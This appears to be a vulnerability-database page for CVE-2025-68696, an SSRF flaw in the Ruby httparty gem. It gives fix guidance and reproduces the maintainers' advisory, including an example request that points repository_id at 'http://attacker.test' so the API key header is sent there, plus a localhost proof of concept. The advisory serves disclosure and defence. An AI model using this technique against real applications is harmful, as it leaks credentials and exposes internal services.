CVE-2025-68696: Httparty Httparty Has Potential SSRF Vulnerability Vulnerability

HIGH
Advisory Identifier: GHSA-hm5p-x4rq-38w4
CVSS 8.2
CWE-918
Published
Advisory Summary

CVE-2025-68696 is a HIGH (CVSS 8.2) httparty has potential ssrf vulnerability vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Httparty libraries in the RubyGems ecosystem. The issue involves httparty has potential ssrf vulnerability that leads to api key leakage. Remediation is available by upgrading affected packages to version 0.24.0.

CVE-2025-68696 at a Glance

CVE Identifier CVE-2025-68696
GHSA Identifier GHSA-hm5p-x4rq-38w4
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Httparty
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2025-68696

To remediate this vulnerability, upgrade all affected Httparty dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

httparty fixed: 0.24.0
Upgrade httparty to 0.24.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for httparty

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-68696, inspect your project dependencies for Httparty:

inspect dependencies for httparty

Analyze the terminal output to locate any version of Httparty in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.24.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Httparty, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. ## Details When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate. Consider the following example of a web application: ```rb require 'sinatra' require 'httparty' class RepositoryClient include HTTParty base_uri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end post '/issue' do request_body = JSON.parse(request.body.read) RepositoryClient.get(request_body['repository_id']).body # do something json message: 'OK' end ``` Now, suppose an attacker sends a request like this: ``` POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json { "repository_id": "http://attacker.test", "title": "test" } ``` In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`. A similar problem was reported and fixed in the HTTP client library axios in the past: <https://github.com/axios/axios/issues/6463> Also, Python's `urljoin` function has documented a warning about similar behavior: <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin> ## PoC Follow these steps to reproduce the issue: 1. Set up two simple HTTP servers. ```bash mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & ``` 2. Create a script (for example, `main.rb`): ```rb require 'httparty' class Client include HTTParty base_uri 'http://localhost:10001' end data = Client.get('http://localhost:10002').body puts data ``` 3. Run the script: ```bash $ ruby main.rb this is server2 ``` Although `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`. ## Impact - Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. - SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. - Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.

CVE-2025-68696 Affected Httparty Versions

1 component(s)
Fixed Versions:
0.24.0
Product / Package Ecosystem Affected Versions Fixed Version
httparty
RubyGems
< 0.24.0
0.24.0

References

Frequently Asked Questions

What is CVE-2025-68696?
CVE-2025-68696 is a security vulnerability in Httparty involving httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage under CWE-918: Server-Side Request Forgery (SSRF).
Which Httparty versions are affected?
Affected versions include releases prior to 0.24.0 across affected packages: httparty.
What version fixes CVE-2025-68696?
Upgrading to 0.24.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is httparty affected?
Yes, httparty is affected in releases prior to 0.24.0. Upgrade your dependency to 0.24.0 or later.
What is the CVSS score of CVE-2025-68696?
CVE-2025-68696 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2025-68696?
CVE-2025-68696 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check RubyGems dependencies for CVE-2025-68696?
Run the dependency tree command: 'inspect dependencies for httparty'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hm5p-x4rq-38w4",
  "modified" : "2026-06-08T23:17:28Z",
  "published" : "2025-12-23T19:31:10Z",
  "aliases" : [ "CVE-2025-68696" ],
  "summary" : "httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage",
  "details" : "## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire 'sinatra'\nrequire 'httparty'\n\nclass RepositoryClient\n  include HTTParty\n  base_uri 'http://exmaple.test/api/v1/repositories/'\n  headers 'X-API-KEY' => '1234567890'\nend\n\npost '/issue' do\n  request_body = JSON.parse(request.body.read)\n  RepositoryClient.get(request_body['repository_id']).body\n  # do something\n  json message: 'OK'\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n    \"repository_id\": \"http://attacker.test\",\n    \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past:  \n<https://github.com/axios/axios/issues/6463>\n\nAlso, Python's `urljoin` function has documented a warning about similar behavior:  \n<https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n   ```bash\n   mkdir /tmp/server1 /tmp/server2\n   echo \"this is server1\" > /tmp/server1/index.html \n   echo \"this is server2\" > /tmp/server2/index.html\n   python -m http.server -d /tmp/server1 10001 &\n   python -m http.server -d /tmp/server2 10002 &\n   ```\n\n2. Create a script (for example, `main.rb`):\n\n   ```rb\n   require 'httparty'\n\n   class Client\n     include HTTParty\n     base_uri 'http://localhost:10001'\n   end\n\n   data = Client.get('http://localhost:10002').body\n   puts data\n   ```\n\n3. Run the script:\n\n   ```bash\n   $ ruby main.rb\n   this is server2\n   ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "httparty"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.24.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.23.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-68696"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jnunemaker/httparty"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-23T19:31:10Z",
    "nvd_published_at" : "2025-12-23T23:15:45Z"
  }
}